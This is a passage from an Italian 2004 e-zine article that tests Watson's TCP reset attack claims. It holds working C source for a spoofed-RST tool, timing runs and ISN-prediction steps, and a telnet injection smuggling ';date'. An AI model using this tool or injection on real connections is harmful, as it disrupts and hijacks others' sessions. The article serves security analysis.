.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.] :: [O]nda[Q]uadra [0X0C] OQ20040615[0C] :: :: [0x07][SECURiTY] ELEMENTARE WATS0N! [eazy] :: [.]:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 1. Premessa 2. Introduzione 3. Fondamenti TCP 4. L'attacco di reset 5. Codice Tcp Reset 6. Stime dei tempi 7. Risultati dei test sulla rete 8. Predizione degli ISN 9. Attacco di injection 10. Codice Tcp Inject 11. Riferimenti 1. Premessa In questo articolo analizzeremo le problematiche relative al protocollo TCP evidenziate da Paul Watson nel suo paper dal titolo "Slipping In The Window: TCP Reset Attacks". Lo scopo di questo articolo quello di riprendere in mano l'analisi di Watson al fine di verificare effettivamente quali informazioni possono essere considerate attendibili e quali invece sono da considerarsi tendenziose. Verranno inoltre descritte alcune varianti dell'attacco che permettono ad un attacker di iniettare dei dati all'interno della sessione TCP. 2. Introduzione Circa un mese fa, in occasione della conferenza CanSecWest, Paul Watson ha rilasciato il suo paper dal titolo "Slipping In The Window: TCP Reset Attacks" che descrive un attacco grazie al quale sarebbe possibile resettare una sessione TCP remota. Tale notizia, alimentata a dovere dai media, sfociata nel solito falso allarmismo tanto amato da molti giornalisti che popolano la televisione e i giornali. Dall'altra parte i ricercatori hanno reagito in tutt'altra maniera criticando Watson e affermando che di tale problematica si era gi al corrente da tempo e che non siamo di fronte a nulla di nuovo. I pi attenti di voi, che si sono presi la briga di leggere il paper in questione, si saranno accorti invece che Watson dice espressamente di voler riprendere in mano nel suo paper un'analisi di Convery e Franz dal titolo "BGP Vulnerability Testing: Separating Fact from FUD" che ritiene non del tutto corretta. 3. Fondamenti TCP Prima di addentrarci nella parte piu' tecnica dell'articolo cerchero' di fare una piccola introduzione sul protocollo TCP in modo tale da permettere anche ai meno esperti di comprendere l'articolo. Tuttavia e' bene precisare che una trattazione completa dell'argomento richiederebbe molto tempo ed esula dagli scopi dell'articolo pertanto mi limitero' a una breve introduzione. Per chi volesse approfondire posso consigliare la lettura del testo [3]. Quando due host vogliono stabilire una sessione TCP devono procedere a quello che viene definito 3 way handshake, un processo composto da tre fasi grazie al quale i due host si sincronizzano. Eccone un esempio visto da tcpdump: Il primo pacchetto TCP ha il flag SYN settato e indica all'host che lo riceve che il mittente vuole stabilire una nuova connessione 19:18:08.533177 192.168.1.5.32986 > 192.168.1.6.23: S 1779314092:1779314092(0) win 5840 L'altro host risponde con un pacchetto TCP con i flag SYN e ACK settati e indica che l'host ha accettato la richiesta di connessione 19:18:08.533437 192.168.1.6.23 > 192.168.1.5.32986: S 1159405505:1159405505(0) ack 1779314093 win 5792 Infine, il primo host invia un pacchetto TCP con il flag ACK settato che funge da conferma per il pacchetto precedentemente ricevuto 19:18:08.533473 192.168.1.5.32986 > 192.168.1.6.23: . ack 1159405506 win 5840 La sessione TCP tra i due host stabilita. Ma cosa sono quei numeri 1779314092 e 1159405505? Beh, quei numeri sono dei valori a 32 bit che prendono il nome di numeri di sequenza e vengono utilizzati dal protocollo TCP per contrassegnare univocamente ogni byte scambiato nel corso della sessione. Vediamo come procede la sessione TCP una volta che la connessione e' stabilita: Il primo host invia 6 byte di dati al secondo host, i numeri di sequenza che identificano univocamente i 6 byte trasmessi sono quelli che vanno da 1779314093 a 1779314099 escluso. 19:18:38.254030 192.168.1.5.32986 > 192.168.1.6.23: P 1779314093:1779314099(6) ack 1159405506 win 5840 Il secondo host riceve il pacchetto contenente i 6 byte di dati e risponde con un pacchetto con flag ACK settato che funge da conferma. Il valore del campo acknowledgment number vale 1779314099 e indica il prossimo numero di sequenza atteso dal proprio interlocutore. Indica implicitamente che tutti i byte precedenti sono stati ricevuti con successo. 19:18:38.254243 192.168.1.6.23 > 192.168.1.5.32986: . ack 1779314099 win 5792 Se l'host con IP address 192.168.1.5 volesse inviare ulteriori dati dovrebbe utilizzare come numero di sequenza 1779314099 ovvero il prossimo numero di sequenza atteso dal suo interlocutore. 4. L'attacco di reset Il concetto alla base dell'attacco ipotizzato da Watson che affinche' un pacchetto TCP di reset venga accettato dallo stack non necessario che il sequence number sia necessariamente il prossimo numero di sequenza (SEQ) atteso dal nostro interlocutore bensi' un qualsiasi numero di sequenza che si trovi nel range di valori tra il prossimo SEQ atteso e tale valore piu' la window size. Riprendendo l'esempio precedente questo vuol dire che se l'host con IP address 192.168.1.5 desiderasse resettare la connessione potrebbe inviare un pacchetto con la flag RST settata e con un numero di sequenza compreso tra 1779314099 e 1779314099 + 5792. Vediamo cosa dice in merito l'RFC 793 del TCP: A segment is judged to occupy a portion of valid receive sequence space if RCV.NXT =< SEG.SEQ < RCV.NXT+RCV.WND or RCV.NXT =< SEG.SEQ+SEG.LEN-1 < RCV.NXT+RCV.WND The first part of this test checks to see if the beginning of the segment falls in the window, the second part of the test checks to see if the end of the segment falls in the window; if the segment passes either part of the test it contains data in the window. dove RCV.NXT = il prossimo SEQ atteso RCV.NXT+RCV.WND = il massimo valore di SEQ atteso SEG.SEQ = il valore del SEQ effettivamente ricevuto SEG.SEQ+SEG.LEN-1 = il valore del SEQ dell'ultimo byte ricevuto Nel nostro caso: 1779314099 =< SEG.SEQ < 1779314099 + 5792 il valore della window size si puo' ricavare dalla voce "win 5792" relativa dall'output di tcpdump precedentemente analizzato. Sempre dall'RFC 793 si puo' leggere quanto segue: Receive Sequence Space 1 2 3 ----------|----------|---------- RCV.NXT RCV.NXT +RCV.WND 1 - old sequence numbers which have been acknowledged 2 - sequence numbers allowed for new reception 3 - future sequence numbers which are not yet allowed Receive Sequence Space Figure 5. The receive window is the portion of the sequence space labeled 2 in figure 5. Ma cos'e' questa window size? Ancora una volta possiamo trovare una risposta nell'RFC: The window sent in each segment indicates the range of sequence numbers the sender of the window (the data receiver) is currently prepared to accept. There is an assumption that this is related to the currently available data buffer space available for this connection. Quanto grande e' di norma il valore relativo alla window size? Tale valore varia per ogni sistema operativo, ed possibile ricavarlo semplicemente connettendosi alla macchina e osservando la fase di handshake della connessione: 19:18:08.533177 192.168.1.5.32986 > 192.168.1.6.23: S 1779314092:1779314092(0) win 5840 19:18:08.533437 192.168.1.6.23 > 192.168.1.5.32986: S 1159405505:1159405505(0) ack 1779314093 win 5792 19:18:08.533473 192.168.1.5.32986 > 192.168.1.6.23: . ack 1159405506 win 5840 I due host sono due macchine Linux con kernel 2.4.18 e 2.4.20 e usano un valore di window size di 5840 e 5792. Le macchine Windows XP/2000 usano window size molto piu' grandi che variano a seconda del service pack montato, i valori della window size per tali sistemi puo' variare dai 16384 ai 64512. Per maggiori dettagli e' possibile fare riferimento alla Figura 4 del paper [1] di Watson. Come puo' essere sfruttata questa caratteristica da un attacker per resettare una connessione? Un attacker dovrebbe inviare un pacchetto TCP con il flag RST settato e spoofato in modo tale che sembri provenire da uno dei due capi della sessione. Affinche' l'attacco vada a buon fine il pacchetto TCP spoofato inviato dall'attacker deve contenere un numero di sequenza valido. Abbiamo visto che lo stack TCP accetta come buono un pacchetto se il suo numero di sequenza cade nell'intervallo tra il valore atteso e tale valore piu' la window size. Questo vuol dire che se un attacker volesse resettare una sessione TCP remota non sarebbe costretto a inviare tanti pacchetti quanti i possibili valori di sequence number (2^32) bensi' tanti quanti i possibili intervalli di window size (2^32 / window size). Questo riduce di molto il numero di tentativi necessari facilitando la possibilit di un attacco di reset. Piu' e' grande il valore relativo alla window size tanto piu' velocemente sara' possibile portare a termine l'attacco. Esiste tuttavia un ulteriore elemento di variabilita'. L'attacker puo' sfruttare la window size per ridurre il numero di tentativi necessari per indovinare il numero di sequenza esatto ma deve essere in grado di indovinare anche la porta sorgente del pacchetto. Ricapitoliamo. L'attacker ha bisogno delle seguenti informazioni per forgiare un pacchetto di reset valido: 1) IP sorgente e destinazione: sono gli indirizzi dei due capi della connessione di cui l'attacker e' a conoscenza; 2) numero di sequenza: puo' essere indovinato a tentativi usando il *trucco* della window size. Il numero di tentativi necessari e' inversamente proporzionale alla grandezza della window. 3) porta di destinazione: solitamente e' un valore standard a seconda del protocollo applicativo utilizzato, esempio http 80, smtp 25; 4) porta sorgente: e' un elemento variabile il cui comportamento dipende dal sistema operativo. Come ci ricaviamo la porta sorgente? A questo punto l'incognita piu' grossa per il nostro attacker rimane determinare la porta sorgente che ha originato la sessione TCP. La porta sorgente e' una variabile a 16 bit che puo' assumere 65536 valori possibili, tuttavia nella maggior parte dei sistemi operativi tale valore viene scelto secondo un algoritmo talmente semplice da permetterne la predizione. Ogni sistema operativo utilizza un valore iniziale di porta sorgente ben definito e incrementa tale valore di uno per ogni nuova connessione stabilita dall'host. Ad esempio Linux con kernel 2.4.18 quando stabilisce la prima connessione (in veste di client) utilizza di default un valore di porta sorgente pari a 32770, per ogni nuova connessione il valore di porta sorgente viene incrementato di uno. Questo rende possibile per un attacker prevedere il valore della porta sorgente eseguendo un certo numero di tentativi, nel suo paper Watson parla di una media di 50 tentativi, tuttavia tale valore dipende molto dall'attivita' del sistema. Per maggiori approfondimenti e' possibile fare riferimento alla Figura 5 del paper [1]. 5. Codice Tcp Reset /* * tcp_reset.c: Proof of concept exploit that demonstrates the * vulnerability described by Paul A. Watson in his paper * "Slipping In The Window: TCP Reset Attacks" * * You need libnet 1.1.x * * Compile: * gcc tcp_reset.c -o tcp_reset -lnet * * By: eazy */ #include #include #include #include void usage(char *prog) { fprintf(stderr, "Usage: %s -s -d -p " " -q [-n ] [-w ] [-t ]\n" "\t-s\tsource ip address\n" "\t-d\tdestination ip address\n" "\t-p\tsource port\n" "\t-q\tdestination port\n" "\t-n\tinitial sequence number (default random)\n" "\t-w\twindow size (default 1000)\n" "\t-t\tpacket timeout (default 10000)\n" ,prog); exit(-1); } int main(int argc, char **argv) { int i, c, build_ip, opt, win = 1000, timeout = 10000; unsigned short src_port = 0, dst_port = 0; unsigned long src_ip = 0, dst_ip = 0, seq = 0; libnet_t *l; libnet_ptag_t tcp, ip; struct libnet_stats stat; char errbuf[LIBNET_ERRBUF_SIZE]; memset(&stat, 0, sizeof(stat)); if ((l = libnet_init(LIBNET_RAW4, NULL, errbuf)) == NULL) { fprintf(stderr, "Libnet_init error: %s\n", errbuf); exit(-1); } while ((opt = getopt(argc, argv, "s:d:p:q:n:w:t:h")) != -1) switch (opt) { case 's': src_ip = libnet_name2addr4(l, optarg, LIBNET_DONT_RESOLVE); break; case 'd': dst_ip = libnet_name2addr4(l, optarg, LIBNET_DONT_RESOLVE); break; case 'p': src_port = atoi(optarg); break; case 'q': dst_port = atoi(optarg); break; case 'n': seq = strtoul(optarg, NULL, 0); break; case 'w': win = atoi(optarg); break; case 't': timeout = atoi(optarg); break; case 'h': case '?': usage(argv[0]); } if (optind < argc) usage(argv[0]); if (!src_ip || !dst_ip || !src_port || !dst_port) usage(argv[0]); if (!seq) { libnet_seed_prand(l); seq = libnet_get_prand(LIBNET_PRu32); } for (tcp = LIBNET_PTAG_INITIALIZER, build_ip = 1; seq < 4294967296 - win; seq += win) { tcp = libnet_build_tcp( src_port,/* source port */ dst_port,/* destination port */ seq, /* sequence number */ 0, /* acknowledgement */ TH_RST, /* control flags */ 31337, /* window size */ 0, /* checksum */ 0, /* urgent pointer */ LIBNET_TCP_H,/* packet size */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ tcp); /* libnet id */ if (tcp == -1) { fprintf(stderr, "Libnet_build_tcp error: %s\n", libnet_geterror(l)); goto bad; } if (build_ip) { build_ip = 0; ip = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_TCP_H,/* length */ 0, /* TOS */ 666, /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_TCP,/* proto */ 0, /* checksum */ src_ip, /* source IP */ dst_ip, /* dest IP */ NULL, /* payload */ 0, /* pl size */ l, /* lib handle */ 0); /* libnet id */ if (ip == -1) { fprintf(stderr, "Libnet_build_ipv4 error: %s\n", libnet_geterror(l)); goto bad; } } if ((c = libnet_write(l)) == -1) { fprintf(stderr, "Libnet_write error: %s\n", libnet_geterror(l)); goto bad; } for(i = 0; i < timeout; i++); } libnet_stats(l, &stat); fprintf(stderr, "Packets sent: %d (%d bytes)\n" "Packet errors: %d\n", stat.packets_sent, stat.bytes_written, stat.packet_errors); libnet_destroy(l); exit(0); bad: libnet_destroy(l); exit(-1); } 6. Stime dei tempi Quanto tempo e' necessario per portare a termine l'attacco? Dipende prima di tutto dalla connessione a nostra disposizione, dalla connessione del sistema target e dal valore della window size. La formula che ci permette di calcolare il tempo e' la seguente: NSEQ / WINDOW / PKT_PER_SECOND Dove NSEQ sono tutti i possibili valori di sequence number, WINDOW e' il valore assunto dalla window size del sistema destinatario dei pacchetti e PKT_PER_SECOND e' il numero di pacchetti al secondo che l'attacker e' in grado di generare. Facciamo due conti, per semplicita' assumiamo che il sistema target disponga di una connessione con una banda in downstream uguale o superiore alla nostra e che l'attacker sia a conoscenza della porta sorgente. Personalmente dispongo di una ADSL con 640 Kbps in downstrem e 256 Kbps in upstream, cio' che ci interessa in questo caso e' la banda in upstream ovvero quanti pacchetti siamo in grado di inviare in uscita. Se ogni pacchetto e' composto da 20 byte di header IP piu' altri 20 byte di header TCP possiamo considerare una lunghezza di 40 byte per ogni pacchetto, visto che un pacchetto RST non ha alcun payload. Con una banda a disposizione di 256 Kbps ovvero 32 KB/sec vuol dire che siamo in gradi di trasmettere: 32 * 1024 = 32768 byte al secondo che espresso in numero di pacchetti 32768 / 40 = 819 pacchetti circa al secondo Assumiamo un NSEQ pari a 2^32 / 2, diviso 2 perche' statisticamente dovremmo indovinare il valore corretto dopo aver effettuato il 50% dei tentativi. Assumiamo poi una WINDOW pari a 16384 che e' il valore di default per molti sistemi Windows e PKT_PER_SECOND pari a 819 ovvero il valore calcolato in precedenza. Applicando la formula otteniamo un valore medio di: 2^32 / 2 / 16384 / 819 = ~ 160 secondi Per un sistema Linux con kernel 2.4 che adotta una WINDOW piu' piccola il tempo risulta maggiore: 2^32 / 2 / 5840 / 819 = ~ 449 secondi Queste stime sono da considerarsi tuttavia poco indicative visto che abbiamo assunto per semplicita' che l'attacker sia a conoscenza della porta sorgente cosa che nella realta' risulta falsa. Pertanto per avere delle stime piu' attendibili e' necessario moltiplicare il valore stimato per il numero di tentativi necessari per indovinare la porta sorgente (nel paper [1] si parla di una media di 50 tentativi). Tuttavia tali stime risultano sicuramente meno tendenziose di quelle presentate da Watson nel suo paper, alcune di esse in particolare rasentano a mio avviso il ridicolo. Seguono alcune stime presentate da Watson nel paper [1] che a mio avviso risultano poco attendibili: 2^32 / 2 / 16384 / 62500 = ~ 2 secondi la prima cosa che balza all'occhio e' il valore dei pacchetti generati al secondo 62500. Assumendo una grandezza di 40 byte per ogni pacchetto calcolato come 20 byte di IP header piu' 20 byte di TCP header e nessun payload possiamo stimare la banda assunta da Watson nell'esempio: 62500 * 40 * 8 / 1024 / 1024 = ~ 19 Mbit Diciamo che una banda del genere non e' da tutti! Altra tabella nel paper di Watson che riporta a mio avviso dei dati tendenziosi: Internet | Time Requirement Connectivity | known source port | ..... | ..... 45mbps | 1/2 second 155mbps | 1/10 second | Se da un punto di vista puramente matematico i valori stimati non fanno una piega bisogna dire che essi non tengono conto di una cosa fondamentale ovvero che la vittima dovrebbe disporre di una banda in ingresso almeno pari a quella dell'attaccante! Ma cosa succede se un attacker dovesse resettare un target che si trova su una linea ADSL? Succede che l'attacker puo' anche avere tutta la banda che vuole a disposizione ma non puo' generare un numero di pacchetti superiore a quello consentito dalla linea del destinatario pena vedersi droppare gran parte del traffico. 7. Risultati dei test sulla rete Bando alle ciance. Fino ad ora abbiamo fatto tanti calcoli ma non abbiamo ancora concluso nulla di concreto. In questa sezione dell'articolo vedremo i risultati di alcuni test condotti con una banda a disposizione pari a quella ipotizzata per le stime ovvero una ADSL con 256 Kbps in upstream. Per questioni di tempi i test sono stati condotti assumendo che la porta sorgente sia conosciuta dall'attacker, come detto in precedenza i risultati dei tempi ottenuti vanno moltiplicati per il numero di tentativi necessari per indovinare la porta sorgente (nel paper [1] si parla di una media di 50 tentativi). I test sono stati condotti utilizzando il sorgente tcp_reset.c fornito nel capitolo 5 e il comando time per misurare il tempo di esecuzione di netcat dal momento in cui viene avviato al momento in cui termina l'esecuzione a seguito del reset della connessione. Come prima cosa tariamo la velocita' con cui i pacchetti dovranno essere generati, sappiamo che con una banda in upstrem di 256 Kbps possiamo generare al massimo 819 pacchetti/secondo (vedi calcoli fatti in precedenza). Settiamo un sequence number di partenza di 4294966477 (2^32 - 819) e impostiamo la window size a 1, questo causera' la generazione di 818 pacchetti. Come primo tentativo usiamo un valore di timeout tra un pacchetto e l'altro di 100000 e usiamo il comando time per calcolare il tempo di esecuzione: # gcc tcp_reset.c -lnet # time ./a.out -s 192.168.1.6 -d 192.168.1.5 -p 1071 -q 23 -n 4294966477 -w 1 -t 100000 Packets sent: 818 (32720 bytes) Packet errors: 0 real 0m0.507s user 0m0.470s sys 0m0.040s Abbiamo generato 818 pacchetti in circa mezzo secondo, troppo veloce. Riproviamo con un valore di timeout di 200000: # time ./a.out -s 192.168.1.6 -d 192.168.1.5 -p 1071 -q 23 -n 4294966477 -w 1 -t 200000 Packets sent: 818 (32720 bytes) Packet errors: 0 real 0m0.976s user 0m0.910s sys 0m0.070s Ci siamo quasi, abbiamo generato 818 pacchetti in poco meno di un secondo, proviamo ad aggiustare di poco il timeout: # time ./a.out -s 192.168.1.6 -d 192.168.1.5 -p 1071 -q 23 -n 4294966477 -w 1 -t 210000 Packets sent: 818 (32720 bytes) Packet errors: 0 real 0m1.023s user 0m0.990s sys 0m0.030s Ora va bene, sappiamo che durante i nostri test dovremo utilizzare un valore di timeout di 210000. A questo punto siamo pronti ad eseguire dieci prove consecutive e raccogliere i dati relativi ai tempi. Sulla macchina 192.168.1.5 avviamo netcat in ascolto sulla porta 23 e dalla macchina 192.168.1.6 avviamo una sessione telnet verso il primo host. Una volta che la connessione e' stabilita, da una terza macchina, avviamo il nostro tcp_reset.c illustrato nei paragrafi precedenti: ./a.out -s 192.168.1.6 -d 192.168.1.5 -p 1071 -q 23 -n 1 -w 5840 -t 210000 -s e' l'indirizzo IP sorgente spoofato -d e' l'indirizzo IP di destinazione -p e' la porta sorgente, assumendo sia conosciuta -q e' la porta di destinazione -n e' il primo numero di sequenza da provare -w e' la grandezza della window size -t e' il timeout e regola la velocita' con cui i pacchetti sono generati Ecco i risultati ottenuti, ovvero il tempo necessario per eseguire un reset della sessione: # time nc -l -p 23 y !"'y real 3m48.960s user 0m0.000s sys 0m0.000s # time nc -l -p 23 y !"'y real 6m15.618s user 0m0.000s sys 0m0.000s # time nc -l -p 23 y !"'y real 8m43.024s user 0m0.000s sys 0m0.000s # time nc -l -p 23 y !"'y real 8m41.362s user 0m0.000s sys 0m0.000s # time nc -l -p 23 y !"'y real 11m42.991s user 0m0.010s sys 0m0.010s # time nc -l -p 23 y !"'y real 8m19.220s user 0m0.010s sys 0m0.000s # time nc -l -p 23 y !"'y real 10m12.173s user 0m0.000s sys 0m0.000s # time nc -l -p 23 y !"'y real 10m5.096s user 0m0.000s sys 0m0.000s # time nc -l -p 23 y !"'y real 9m53.191s user 0m0.000s sys 0m0.010s # time nc -l -p 23 y !"'y real 7m14.511s user 0m0.000s sys 0m0.000s Dai tempi rilevati possiamo calcolare un valore medio: 4573 / 10 = ~ 457 secondi Come possiamo vedere tale valore si avvicina molto ai 422 secondi stimati. 8. Predizione degli ISN Il numero di sequenza iniziale (ISN) e' il primo numero di sequenza scambiato da ciascun host nella fase iniziale di handshake. 19:18:08.533177 192.168.1.5.32986 > 192.168.1.6.23: S 1779314092:1779314092(0) win 5840 19:18:08.533437 192.168.1.6.23 > 192.168.1.5.32986: S 1159405505:1159405505(0) ack 1779314093 win 5792 19:18:08.533473 192.168.1.5.32986 > 192.168.1.6.23: . ack 1159405506 win 5840 In questo caso l'ISN generato dall'host 192.168.1.5 e' 1779314092 mentre l'ISN generato dall'host 192.168.1.6 e' 1159405505. Per motivi di sicurezza gli ISN vengono generati mediante un algoritmo pseudo random che dovrebbe scongiurare la possibilita' di attacchi blind spoofing mediante la predizione del numero di sequenza iniziale. Per la precisione l'algoritmo genera nuovi ISN per incrementi random, questo vuol dire che conosciuto l'ISN della sessione TCP x non siamo in grado di prevedere con esatezza il valore dell'ISN per la futura sessione x+1 ma sappiamo che il suo valore sara' sicuramente superiore al precedente. Come possiamo sfruttare questa conoscenza nel contesto dell'attacco di reset? Se l'attacker si trova nella condizione di poter sapere piu' o meno quando verra' stabilita la sessione TCP che desidera resettare sara' in grado di eseguire dei campionamenti degli ISN correnti al fine di calcolare l'incremento random medio degli ISN. Questo gli permetterebbe di ridurre notevolmente lo spazio di numeri di sequenza da testare. Se prima lo spazio di numeri di sequenza da testare era dato dalla formula: 2^32 / window size / 2 calcolato l'incremento random medio INC, lo spazio di numeri di sequenza da testare si riduce a un multiplo di INC: INC * N / window size / 2 dove INC e' un valore molto inferiore rispetto a 2^32 e N e' un valore che cresce in funzione del numero di connessioni che il sistema oggetto della nostra analisi si trova a gestire e del tempo trascorso tra il campionamento e il momento in cui la sessione TCP da resettare viene effettivamente stabilita. Con nmap possiamo vedere l'algoritmo utilizzato per la generazione degli ISN in questo modo: # nmap -sT -O -v 192.168.1.6 Starting nmap V. 2.54BETA34 ( www.insecure.org/nmap/ ) Host (192.168.1.6) appears to be up ... good. Initiating Connect() Scan against (192.168.1.6) Adding open port 22/tcp The Connect() Scan took 0 seconds to scan 1556 ports. For OSScan assuming that port 22 is open and port 1 is closed and neither are firewalled Interesting ports on (192.168.1.6): (The 1555 ports scanned but not shown below are in state: closed) Port State Service 22/tcp open ssh Remote operating system guess: Linux Kernel 2.4.0 - 2.4.18 (X86) Uptime 0.464 days (since Tue May 25 10:18:37 2004) TCP Sequence Prediction: Class=random positive increments Difficulty=1676692 (Good luck!) IPID Sequence Generation: All zeros Nmap run completed -- 1 IP address (1 host up) scanned in 5 seconds L'informazione che maggiormente ci interessa in questo caso e' la voce TCP Sequence Prediction che indica la presenza di un algoritmo di generazione degli ISN basato su incrementi positivi random. Ora che ci siamo accertati dell'algoritmo di generazione possiamo procedere al campionamento degli ISN. Il campionamento lo dobbiamo fare sull'host che vogliamo spoofare nel nostro caso l'host 192.168.1.6. Avviamo tcpdump sulla nostra macchina con le seguenti opzioni: # tcpdump -nS Poi lanciamo hping2 in modo tale da generare un pacchetto di richiesta di connessione ogni 10 secondi ad una delle porte che risultano aperte, nel nostro caso la 22: # hping2 -S -i 10 -p 22 192.168.1.6 Torniamo al terminale sul quale e' in esecuzione tcpdump e prendiamo in esame i valori degli ISN generati dall'host 192.168.1.6 in seguito alle nostre richieste: # tcpdump -nS tcpdump: listening on eth0 21:09:07.732212 192.168.1.7.1040 > 192.168.1.6.22: S 537892750:537892750(0) win 512 21:09:07.732431 192.168.1.6.22 > 192.168.1.7.1040: S 2056347804:2056347804(0) ack 537892751 win 5840 21:09:07.732457 192.168.1.7.1040 > 192.168.1.6.22: R 537892751:537892751(0) win 0 21:09:17.729905 192.168.1.7.1041 > 192.168.1.6.22: S 2044483570:2044483570(0) win 512 21:09:17.730093 192.168.1.6.22 > 192.168.1.7.1041: S 2066260198:2066260198(0) ack 2044483571 win 5840 21:09:17.730119 192.168.1.7.1041 > 192.168.1.6.22: R 2044483571:2044483571(0) win 0 . . . Appena sappiamo che i due host hanno stabilito una connessione possiamo procedere eseguendo tcp_reset.c passandogli come sequence number di partenza l'ultimo ISN campionato. ./a.out -s 192.168.1.6 -d 192.168.1.5 -p 2729 -q 23 -n 2066260198 -w 5700 -t 210000 Sappiamo che il numero di sequenza comunicato da 192.168.1.6 per la nuova sessione sara' di poco superiore al valore precedentemente campionato per via dell'algoritmo ad incrementi random positivi utilizzato per la generazione degli ISN. Come possiamo vedere in questo caso il tempo necessario per il reset della sessione TCP e' di soli 26 secondi contro i 457 secondi nel caso standard. # time nc -l -p 23 ? !"' real 0m26.746s user 0m0.010s sys 0m0.000s Come detto all'inizio del paragrafo questa tecnica e' applicabile esclusivamente nel caso in cui l'attacker si trova nella condizione di poter sapere piu' o meno quando verra' stabilita la sessione TCP che desidera resettare. 9. Attacco di injection Nell'advisory [5] che descrive i dettagli dell'attacco si puo' leggere: "Data injection may be possible. However, this has not been demonstrated and appears to be problematic." A mio avviso questo non e' del tutto vero, anche se un attacco di injection risulta leggermente piu' complesso puo' essere portato a termine con successo senza troppe difficolta'. Se al posto dei pacchetti di reset inviamo dei pacchetti TCP con flag PUSH settato contenenti un certo numero di byte di dati come payload e siamo in grado di indovinare il sequence number corretto all'interno della window allora siamo in grado di iniettare dati arbitrari nella sessione TCP. Osserviamo una tipica sessione telnet come appare dall'output di tcpdump, l'host 192.168.1.6 stabilisce una connessione telnet con l'host 192.168.1.5: 17:28:08.453823 192.168.1.6.1035 > 192.168.1.5.23: S 1954259839:1954259839(0) win 5840 17:28:08.453869 192.168.1.5.23 > 192.168.1.6.1035: S 2222421761:2222421761(0) ack 1954259840 win 5792 17:28:08.454083 192.168.1.6.1035 > 192.168.1.5.23: . ack 2222421762 win 5840 17:28:08.460539 192.168.1.6.1035 > 192.168.1.5.23: P 1954259840:1954259864(24) ack 2222421762 win 5840 17:28:08.460590 192.168.1.5.23 > 192.168.1.6.1035: . ack 1954259864 win 5792 Come possiamo vedere dall'ultimo pacchetto il prossimo numero di sequenza atteso da 192.168.1.5 e' 1954259864 pertanto affinche' il nostro pacchetto contenente i dati che desideriamo iniettare venga considerato valido dovra' essere nel range di numeri di sequenza tra 1954259864 e 1954259864 + 5792. Proviamo a iniettare 10 byte di caratteri 'a' usando come sequence number 1954259864 + 10 che cade all'interno della finestra ma risulta essere dieci numeri di sequenza piu' avanti rispetto a quello atteso: 17:30:11.615495 192.168.1.6.1035 > 192.168.1.5.23: P 1954259874:1954259884(10) win 31337 L'altro host ci risponde con un ack 1954259864: 17:30:11.615549 192.168.1.5.23 > 192.168.1.6.1035: . ack 1954259864 win 5792 questo vuol dire che il prossimo pacchetto che si aspettava di ricevere avrebbe dovuto avere come sequence number 1954259864 e non quello che abbiamo inviato noi. Ad ogni modo il pacchetto malizioso visto che rientra nella window non viene scartato bensi' viene memorizzato per dopo. Non appena l'host 192.168.1.6 generera' almeno 10 byte di traffico il nostro pacchetto verra' assemblato insieme al resto del flusso di dati: 17:31:04.928747 192.168.1.6.1035 > 192.168.1.5.23: P 1954259864:1954259881(17) ack 2222421762 win 5840 17:31:04.928809 192.168.1.5.23 > 192.168.1.6.1035: . ack 1954259884 win 5792 L'host 192.168.1.5 risponde con ack 1954259884 e NON ack 1954259881 come ci si aspetterebbe. Questo e' perche' i dati che abbiamo inviato in precedenza vengono assemblati dallo stack che conferma solo ora l'avvenuta ricezione. Ma come vengono assemblati i dati iniettati nello stack? Ecco un semplice schema: 1954259864 1954259874 |__________|__________| aaaaaaaaaa bbbbbbbbbbbbbbbrn La stringa composta da dieci caratteri 'a' e' quella che l'attacker ha inviato indovinando per tantativi un numero di sequenza che cadesse all'interno della window ovvero 1954259874. La stringa composta da 15 caratteri 'b' un carriage return e un newline e' una stringa inviata da 192.168.1.6 a 192.168.1.5. Lo stack dell'host 192.168.1.5 riassembla i dati cos ricevuti in questo modo: 1954259864 1954259874 |__________|__________| bbbbbbbbbbbbbbbrnaaa In poche parole si *mangia* alcuni caratteri del pacchetto inviato dall' attacker dove i byte di dati si sovrappongono (spiegato dopo). # nc -l -p 23 ? !"'bbbbbbbbbbbbbbb aaa A questo punto la sessione TCP entra in desync: 17:31:05.130479 192.168.1.6.1035 > 192.168.1.5.23: P 1954259864:1954259881(17) ack 2222421762 win 5840 17:31:05.130526 192.168.1.5.23 > 192.168.1.6.1035: . ack 1954259884 win 5792 17:31:05.550474 192.168.1.6.1035 > 192.168.1.5.23: P 1954259864:1954259881(17) ack 2222421762 win 5840 17:31:05.550522 192.168.1.5.23 > 192.168.1.6.1035: . ack 1954259884 win 5792 17:31:06.390473 192.168.1.6.1035 > 192.168.1.5.23: P 1954259864:1954259881(17) ack 2222421762 win 5840 17:31:06.390520 192.168.1.5.23 > 192.168.1.6.1035: . ack 1954259884 win 5792 17:31:08.070472 192.168.1.6.1035 > 192.168.1.5.23: P 1954259864:1954259881(17) ack 2222421762 win 5840 17:31:08.070520 192.168.1.5.23 > 192.168.1.6.1035: . ack 1954259884 win 5792 17:31:11.430475 192.168.1.6.1035 > 192.168.1.5.23: P 1954259864:1954259881(17) ack 2222421762 win 5840 17:31:11.430521 192.168.1.5.23 > 192.168.1.6.1035: . ack 1954259884 win 5792 17:31:18.150472 192.168.1.6.1035 > 192.168.1.5.23: P 1954259864:1954259881(17) ack 2222421762 win 5840 17:31:18.150517 192.168.1.5.23 > 192.168.1.6.1035: . ack 1954259884 win 5792 i due host non hanno piu' modo di comunicare ma i nostri dati sono stati iniettati. Rimane un problema. Come abbiamo visto quando lo stack riassembla il flusso di dati alcuni byte che abbiamo iniettato vengono sovrascritti. Immaginiamo uno scenario tipico in cui un attacker vuole iniettare il comando date in una sessione telnet al fine di eseguirlo sulla macchina target: 1954259864 1954259874 |__________|__________| date bbbbbbbbbbbbbbbrn Una volta che l'host avra' riassemblato i pacchetti il comando verra' di fatto sovrascritto: 1954259864 1954259874 |__________|__________| bbbbbbbbbbbbbbbrn Come puo' evitare che il comando venga sovrascritto? Tutto cio' che si puo' fare e' ridurre al minimo le possibilita' che esso venga sovrascritto, iniettiamo il comando preceduto da una sequenza di altri caratteri che non ci servono e andranno sovrascritti e che allo stesso non influiscano sull'esecuzione del nostro comando: 1954259864 1954259874 |__________|__________| aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;date bbbbbbbbbbbbbbbrn La shell restituira' un errore e poi 